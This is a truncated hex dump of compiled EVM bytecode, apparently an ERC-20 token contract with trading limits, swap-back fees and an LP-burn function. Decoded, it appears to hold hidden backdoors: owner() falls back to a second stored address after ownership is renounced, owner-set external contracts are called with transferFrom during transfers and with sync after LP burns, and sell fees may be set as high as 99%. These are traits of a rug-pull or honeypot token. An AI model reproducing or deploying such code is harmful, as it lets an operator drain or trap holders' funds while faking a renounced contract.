a379993552e74360405160405180910390a380600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b600f5481565b601f5481565b601e5481565b6111d361261c565b633b9aca006103e860016111e56110e4565b6111ef9190614370565b6111f991906143de565b61120391906143de565b811015611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c9061447e565b60405180910390fd5b670de0b6b3a7640000816112599190614370565b60088190555050565b5f61126e84848461269a565b61132b8461127a612452565b611326856040518060600160405280602881526020016153956028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6112dd612452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131889092919063ffffffff16565b612459565b600190509392505050565b61133e61261c565b5f5b8383905081101561140b5783838281811061135e5761135d61449c565b5b90506020020160208101906113739190613ebc565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113f09190613f6a565b60405180910390a38080611403906144c9565b915050611340565b50505050565b61dead81565b60115481565b60105f9054906101000a900460ff1681565b5f6009905090565b601360029054906101000a900460ff1681565b5f6114ee611456612452565b846114e98560035f611466612452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131ea90919063ffffffff16565b612459565b6001905092915050565b61150061261c565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60235f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b601a5481565b601360019054906101000a900460ff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61162161261c565b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6116e361261c565b610258831015611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90614580565b60405180910390fd5b6103e8821115801561173a57505f8210155b611779576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117709061460e565b60405180910390fd5b8260118190555081600f819055508060105f6101000a81548160ff021916908315150217905550505050565b5f6117ae61261c565b5f601360026101000a81548160ff0219169083151502179055506001905090565b6117d761261c565b8060225f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b61186261261c565b82601681905550816017819055508060188190555060185460175460165461188a919061462c565b611894919061462c565b601581905550601960155411156118e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d7906146a9565b60405180910390fd5b505050565b6118ed61261c565b600160135f6101000a81548160ff0219169083151502179055506001601360016101000a81548160ff02191690831515021790555042601281905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b61198561261c565b80601360016101000a81548160ff02191690831515021790555050565b6060600580546119b190614313565b80601f01602080910402602001604051908101604052809291908181526020018280546119dd90614313565b8015611a285780601f106119ff57610100808354040283529160200191611a28565b820191905f5260205f20905b815481529060010190602001808311611a0b57829003601f168201915b5050505050905090565b60185481565b600e5481565b601d5481565b60195481565b5f611b08611a56612452565b84611b03856040518060600160405280602581526020016153bd6025913960035f611a7f612452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131889092919063ffffffff16565b612459565b6001905092915050565b60125481565b5f611b2b611b24612452565b848461269a565b6001905092915050565b611b3d61261c565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135f9054906101000a900460ff1681565b611c1561261c565b8060235f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611caf9190613ea3565b60405180910390a25050565b611cc361261c565b82601b8190555081601c8190555080601981905550601954601c54601b54611ceb919061462c565b611cf5919061462c565b601a819055506063601a541115611d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3890614711565b60405180910390fd5b505050565b611d4e61261c565b633b9aca006103e86005611d606110e4565b611d6a9190614370565b611d7491906143de565b611d7e91906143de565b811015611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db79061479f565b60405180910390fd5b633b9aca0081611dd09190614370565b600a8190555050565b611de161261c565b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e4d60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016117cf565b50565b6024602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60215f9054906101000a900460ff1681565b60085481565b5f611ea161261c565b620186a06001611eaf6110e4565b611eb99190614370565b611ec391906143de565b821015611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efc9061482d565b60405180910390fd5b6103e8600a611f126110e4565b611f1c9190614370565b611f2691906143de565b821115611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f906148bb565b60405180910390fd5b8160098190555060019050919050565b60155481565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60145f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b61205a61261c565b5f5b838390508110156120f5578160145f86868581811061207e5761207d61449c565b5b90506020020160208101906120939190613ebc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806120ed906144c9565b91505061205c565b50505050565b60095481565b5f61210a61261c565b5f60215f6101000a81548160ff0219169083151502179055506001905090565b60175481565b61213861261c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036121a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219d90614949565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61226961261c565b6122738282613247565b5050565b601c5481565b600a5481565b5f61228c61261c565b600d54600e5461229c919061462c565b42116122dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d4906149b1565b60405180910390fd5b6103e8821115612322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231990614a3f565b60405180910390fd5b42600e819055505f61235460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166115d3565b90505f61237e61271061237086856132e690919063ffffffff16565b61335d90919063ffffffff16565b90505f8111156123b7576123b660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836133a6565b5b5f60245f8681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015612430575f80fd5b505af1158015612442573d5f803e3d5ffd5b5050505060019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036124c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124be90614acd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252c90614b5b565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161260f9190613f6a565b60405180910390a3505050565b612624612452565b73ffffffffffffffffffffffffffffffffffffffff16612642613633565b73ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f90614bc3565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ff90614c51565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276d90614cdf565b60405180910390fd5b5f810361278d5761278883835f6133a6565b613183565b601360029054906101000a900460ff1615612d8d576127aa61192b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561281857506127e861192b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561285057505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561288a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156128a35750600760149054906101000a900460ff16155b15612d8c5760135f9054906101000a900460ff166129965760235f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612956575060235f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298c90614d47565b60405180910390fd5b5b60215f9054906101000a900460ff1615612b5a576129b261192b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612a3957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612a92575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b59574360205f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0d90614dfb565b60405180910390fd5b4360205f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60225f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612c4a57600854811115612bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be490614e89565b60405180910390fd5b600a54612bf9836115d3565b82612c04919061462c565b1115612c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3c90614ef1565b60405180910390fd5b612d8b565b60225f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612ce257600854811115612cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd490614f7f565b60405180910390fd5b612d8a565b60225f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612d8957600a54612d3c836115d3565b82612d47919061462c565b1115612d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d7f90614ef1565b60405180910390fd5b5b5b5b5b5b5f612d97306115d3565b90505f6009548210159050808015612dbb5750601360019054906101000a900460ff165b8015612dd45750600760149054906101000a900460ff16155b8015612e27575060235f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612e7a575060235f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612ebd576001600760146101000a81548160ff021916908315150217905550612ea2613646565b5f600760146101000a81548160ff0219169083151502179055505b600760149054906101000a900460ff16158015612ee5575060105f9054906101000a900460ff165b15612ef657612ef485856137bf565b505b5f600760149054906101000a900460ff1615905060235f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612fa5575060235f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612fae575f90505b5f8115613173575f601a54111561308457612fe76064612fd9601a54886132e690919063ffffffff16565b61335d90919063ffffffff16565b9050601a54601c5482612ffa9190614370565b61300491906143de565b601f5f828254613014919061462c565b92505081905550601a546019548261302c9190614370565b61303691906143de565b601d5f828254613046919061462c565b92505081905550601a54601b548261305e9190614370565b61306891906143de565b601e5f828254613078919061462c565b92505081905550613150565b5f601554111561314f576130b660646130a8601554886132e690919063ffffffff16565b61335d90919063ffffffff16565b9050601554601754826130c99190614370565b6130d391906143de565b601f5f8282546130e3919061462c565b92505081905550601554601854826130fb9190614370565b61310591906143de565b601d5f828254613115919061462c565b925050819055506015546016548261312d9190614370565b61313791906143de565b601e5f828254613147919061462c565b925050819055505b5b5f811115613164576131638730836133a6565b5b80856131709190614f9d565b94505b61317e8787876133a6565b505050505b505050565b5f8383111582906131cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131c69190613d96565b60405180910390fd5b505f83856131dd9190614f9d565b9050809150509392505050565b5f8082846131f8919061462c565b90508381101561323d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132349061501a565b60405180910390fd5b8091505092915050565b61324f61261c565b8160245f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff167fe31d4764d1f943278fdfdcb88b7ba1ab2d33b62ac47858513d290085cc434e7760405160405180910390a35050565b5f8083036132f6575f9050613357565b5f82846133039190614370565b905082848261331291906143de565b14613352576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613349906150a8565b60405180910390fd5b809150505b92915050565b5f61339e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061398a565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161340b90614c51565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613482576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161347990614cdf565b60405180910390fd5b61348d8383836139eb565b6134f78160405180606001604052806026815260200161536f6026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131889092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506135888160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131ea90919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136269190613f6a565b60405180910390a3505050565b5f8061363d6139f0565b90508091505090565b5f613650306115d3565b90505f601d54601e54601f54613666919061462c565b613670919061462c565b90505f8083148061368057505f82145b1561368d575050506137bd565b601460095461369c9190614370565b8311156136b55760146009546136b29190614370565b92505b5f600283601f54866136c79190614370565b6136d191906143de565b6136db91906143de565b90505f6136f18286613a9090919063ffffffff16565b90505f47905061370082613ad9565b5f6137148247613a9090919063ffffffff16565b90505f601f819055505f601e819055505f601d81905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613770906150f3565b5f6040518083038185875af1925050503d805f81146137aa576040519150601f19603f3d011682016040523d82523d5f602084013e6137af565b606091505b505080955050505050505050505b565b5f803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016137fa91906140cb565b602060405180830381865afa158015613815573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613839919061511b565b90505f613865612710613857601954856132e690919063ffffffff16565b61335d90919063ffffffff16565b90505f73ffffffffffffffffffffffffffffffffffffffff1660245f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461397e575f60245f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8787856040518463ffffffff1660e01b815260040161393b93929190615146565b6020604051808303815f875af1158015613957573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061397b919061518f565b50505b60019250505092915050565b5f80831182906139d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c79190613d96565b60405180910390fd5b505f83856139de91906143de565b9050809150509392505050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613a68575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613a8b565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f613ad183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613188565b905092915050565b5f600267ffffffffffffffff811115613af557613af46151ba565b5b604051908082528060200260200182016040528015613b235781602001602082028036833780820191505090505b50905030815f81518110613b3a57613b3961449c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613bdd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613c0191906151fb565b81600181518110613c1557613c1461449c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613c7a307f000000000000000000000000000000000000000000000000000000000000000084612459565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401613cdb959493929190615316565b5f604051808303815f87803b158015613cf2575f80fd5b505af1158015613d04573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613d43578082015181840152602081019050613d28565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613d6882613d0c565b613d728185613d16565b9350613d82818560208601613d26565b613d8b81613d4e565b840191505092915050565b5f6020820190508181035f830152613dae8184613d5e565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613de782613dbe565b9050919050565b613df781613ddd565b8114613e01575f80fd5b50565b5f81359050613e1281613dee565b92915050565b5f819050919050565b613e2a81613e18565b8114613e34575f80fd5b50565b5f81359050613e4581613e21565b92915050565b5f8060408385031215613e6157613e60613db6565b5b5f613e6e85828601613e04565b9250506020613e7f85828601613e37565b9150509250929050565b5f8115159050919050565b613e9d81613e89565b82525050565b5f602082019050613eb65f830184613e94565b92915050565b5f60208284031215613ed157613ed0613db6565b5b5f613ede84828501613e04565b91505092915050565b5f819050919050565b5f613f0a613f05613f0084613dbe565b613ee7565b613dbe565b9050919050565b5f613f1b82613ef0565b9050919050565b5f613f2c82613f11565b9050919050565b613f3c81613f22565b82525050565b5f602082019050613f555f830184613f33565b92915050565b613f6481613e18565b82525050565b5f602082019050613f7d5f830184613f5b565b92915050565b5f60208284031215613f9857613f97613db6565b5b5f613fa584828501613e37565b91505092915050565b5f805f60608486031215613fc557613fc4613db6565b5b5f613fd286828701613e04565b9350506020613fe386828701613e04565b9250506040613ff486828701613e37565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261401f5761401e613ffe565b5b8235905067ffffffffffffffff81111561403c5761403b614002565b5b60208301915083602082028301111561405857614057614006565b5b9250929050565b5f805f6040848603121561407657614075613db6565b5b5f84013567ffffffffffffffff81111561409357614092613dba565b5b61409f8682870161400a565b935093505060206140b286828701613e37565b9150509250925092565b6140c581613ddd565b82525050565b5f6020820190506140de5f8301846140bc565b92915050565b5f60ff82169050919050565b6140f9816140e4565b82525050565b5f6020820190506141125f8301846140f0565b92915050565b61412181613e89565b811461412b575f80fd5b50565b5f8135905061413c81614118565b92915050565b5f805f6060848603121561415957614158613db6565b5b5f61416686828701613e37565b935050602061417786828701613e37565b92505060406141888682870161412e565b9150509250925092565b5f80604083850312156141a8576141a7613db6565b5b5f6141b585828601613e04565b92505060206141c68582860161412e565b9150509250929050565b5f805f606084860312156141e7576141e6613db6565b5b5f6141f486828701613e37565b935050602061420586828701613e37565b925050604061421686828701613e37565b9150509250925092565b5f6020828403121561423557614234613db6565b5b5f6142428482850161412e565b91505092915050565b5f806040838503121561426157614260613db6565b5b5f61426e85828601613e04565b925050602061427f85828601613e04565b9150509250929050565b5f805f604084860312156142a05761429f613db6565b5b5f84013567ffffffffffffffff8111156142bd576142bc613dba565b5b6142c98682870161400a565b935093505060206142dc8682870161412e565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061432a57607f821691505b60208210810361433d5761433c6142e6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61437a82613e18565b915061438583613e18565b925082820261439381613e18565b915082820484148315176143aa576143a9614343565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6143e882613e18565b91506143f383613e18565b925082614403576144026143b1565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74205f8201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b5f614468602f83613d16565b91506144738261440e565b604082019050919050565b5f6020820190508181035f8301526144958161445c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6144d382613e18565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361450557614504614343565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e2074685f8201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b5f61456a603383613d16565b915061457582614510565b604082019050919050565b5f6020820190508181035f8301526145978161455e565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e742062655f8201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b5f6145f8603083613d16565b91506146038261459e565b604082019050919050565b5f6020820190508181035f830152614625816145ec565b9050919050565b5f61463682613e18565b915061464183613e18565b925082820190508082111561465957614658614343565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c6573730000005f82015250565b5f614693601d83613d16565b915061469e8261465f565b602082019050919050565b5f6020820190508181035f8301526146c081614687565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c6573730000005f82015250565b5f6146fb601d83613d16565b9150614706826146c7565b602082019050919050565b5f6020820190508181035f830152614728816146ef565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e205f8201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b5f614789602483613d16565b91506147948261472f565b604082019050919050565b5f6020820190508181035f8301526147b68161477d565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e5f8201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b5f614817603583613d16565b9150614822826147bd565b604082019050919050565b5f6020820190508181035f8301526148448161480b565b9050919050565b7f5377617020616d6f756e742063616e6e6f7420626520686967686572207468615f8201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b5f6148a5603283613d16565b91506148b08261484b565b604082019050919050565b5f6020820190508181035f8301526148d281614899565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f614933602683613d16565b915061493e826148d9565b604082019050919050565b5f6020820190508181035f83015261496081614927565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973685f82015250565b5f61499b602083613d16565b91506149a682614967565b602082019050919050565b5f6020820190508181035f8301526149c88161498f565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f5f8201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b5f614a29602a83613d16565b9150614a34826149cf565b604082019050919050565b5f6020820190508181035f830152614a5681614a1d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f614ab7602483613d16565b9150614ac282614a5d565b604082019050919050565b5f6020820190508181035f830152614ae481614aab565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f614b45602283613d16565b9150614b5082614aeb565b604082019050919050565b5f6020820190508181035f830152614b7281614b39565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f614bad602083613d16565b9150614bb882614b79565b602082019050919050565b5f6020820190508181035f830152614bda81614ba1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f614c3b602583613d16565b9150614c4682614be1565b604082019050919050565b5f6020820190508181035f830152614c6881614c2f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f614cc9602383613d16565b9150614cd482614c6f565b604082019050919050565b5f6020820190508181035f830152614cf681614cbd565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f614d31601683613d16565b9150614d3c82614cfd565b602082019050919050565b5f6020820190508181035f830152614d5e81614d25565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f614de5604983613d16565b9150614df082614d65565b606082019050919050565b5f6020820190508181035f830152614e1281614dd9565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f614e73603583613d16565b9150614e7e82614e19565b604082019050919050565b5f6020820190508181035f830152614ea081614e67565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f614edb601383613d16565b9150614ee682614ea7565b602082019050919050565b5f6020820190508181035f830152614f0881614ecf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f614f69603683613d16565b9150614f7482614f0f565b604082019050919050565b5f6020820190508181035f830152614f9681614f5d565b9050919050565b5f614fa782613e18565b9150614fb283613e18565b9250828203905081811115614fca57614fc9614343565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f615004601b83613d16565b915061500f82614fd0565b602082019050919050565b5f6020820190508181035f83015261503181614ff8565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f615092602183613d16565b915061509d82615038565b604082019050919050565b5f6020820190508181035f8301526150bf81615086565b9050919050565b5f81905092915050565b50565b5f6150de5f836150c6565b91506150e9826150d0565b5f82019050919050565b5f6150fd826150d3565b9150819050919050565b5f8151905061511581613e21565b92915050565b5f60208284031